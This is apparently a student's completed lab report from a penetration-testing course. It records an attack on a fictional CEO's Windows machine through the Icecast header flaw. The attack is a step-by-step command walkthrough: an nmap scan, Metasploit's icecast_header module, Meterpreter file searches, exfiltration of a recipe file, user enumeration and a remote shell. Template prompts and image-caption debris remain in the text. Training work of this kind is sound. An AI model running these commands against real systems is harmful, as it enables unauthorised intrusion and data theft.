GoodSecurity Penetration Test Report

[YOURNAMEHERE@GoodSecurity.com](mailto:YOURNAMEHERE@GoodSecurity.com)

DATE

# High-Level Summary

GoodSecurity was tasked with performing an internal penetration test on GoodCorp’s CEO, Hans Gruber. An internal penetration test is a dedicated attack against internally connected systems. The focus of this test is to perform attacks, similar to those of a hacker and attempt to infiltrate Hans’ computer and determine if it is at risk. GoodSecurity’s overall objective was to exploit any vulnerable software and find the secret recipe file on Hans’ computer, while reporting the findings back to GoodCorp.

When performing the internal penetration test, there were several alarming vulnerabilities that were

identified on Hans’ desktop. When performing the attacks, GoodSecurity was able to gain access to his machine and find the secret recipe file by exploit two programs that had major vulnerabilities. The details of the attack can be found in the ‘Findings’ category.

# Findings

Machine IP:

192.168.0.20

Hostname:

MSEDGEWIN10

Vulnerability Exploited:

exploit/windows/http/icecast\_header

* \* 8000/tcp open http Icecast streaming media server

Vulnerability Explanation:

Explain the vulnerability as best you can by explaining the attack type (i.e. is it a heap overflow attack, buffer overflow, file inclusion, etc.?) and briefly summarize what that attack is (Might need Google’s help!)

Icecast is running on 192.169.0.20 that allows exploit where an attacker can connect remotely and take over victim’s system. Overwriting memory on icecast flaw.

Severity:

In your expert opinion, how severe is this vulnerability?

High because they can access this remotely.

Proof of Concept:

This is where you show the steps you took. Show the client how you exploited the software services. Please include screenshots!

There should be a separate finding for each vulnerability found!

# Recommendations

What recommendations would you give to GoodCorp?

They can prevent a complete compromise of vulnerable system by installing the latest version of icecast software. Encrypt files and folders you want a secret, enable firewalls with inbound rules only to only allow traffic on needed ports. Attacker can’t get into system this way.

Text

Description automatically generatedText

Description automatically generatedText

Description automatically generatedText

Description automatically generatedText

Description automatically generatedGraphical user interface, text

Description automatically generated

Graphical user interface, application

Description automatically generated

1. Perform a service and version scan using Nmap to determine which services are up and running:
   * Run the Nmap command that performs a service and version scan against the target.

Answer: nmap -sV 192.168.0.20

1. From the previous step, we see that the Icecast service is running. Let's start by attacking that service. Search for any Icecast exploits:
   * Run the SearchSploit commands to show available Icecast exploits.

Answer: searchsploit icecast

1. Now that we know which exploits are available to us, let's start Metasploit:
   * Run the command that starts Metasploit:

Answer:msfconsole

1. Search for the Icecast module and load it for use.
   * Run the command to search for the Icecast module:

Answer: search icecast

* + Run the command to use the Icecast module:

**Note:** Instead of copying the entire path to the module, you can use the number in front of it.

Answer: use 0

1. Set the RHOST to the target machine.
   * Run the command that sets the RHOST:

Answer:set RHOST 192.168.0.20

1. Run the Icecast exploit.
   * Run the command that runs the Icecast exploit.

Answer: run

* + Run the command that performs a search for the secretfile.txt on the target.

Answer: search -f \*secretfile\*.txt

1. You should now have a Meterpreter session open.
   * Run the command to performs a search for the recipe.txt on the target:

Answer: search -f \*recipe\*.txt

* + **Bonus**: Run the command that exfiltrates the recipe\*.txt file:

Answer: ownload 'c:\Users\IEuser\Documents\Drinks.recipe.txt'

1. You can also use Meterpreter's local exploit suggester to find possible exploits.
   * **Note:** The exploit suggester is just that: a suggestion. Keep in mind that the listed suggestions may not include all available exploits.

#### Bonus

A. Run a Meterpreter post script that enumerates all logged on users.

Answer: run post/windows/gather/enum\_logged\_on\_users

B. Open a Meterpreter shell.

Answer: shell

C. Run the command that displays the target's computer system information:

Answer: systeminfo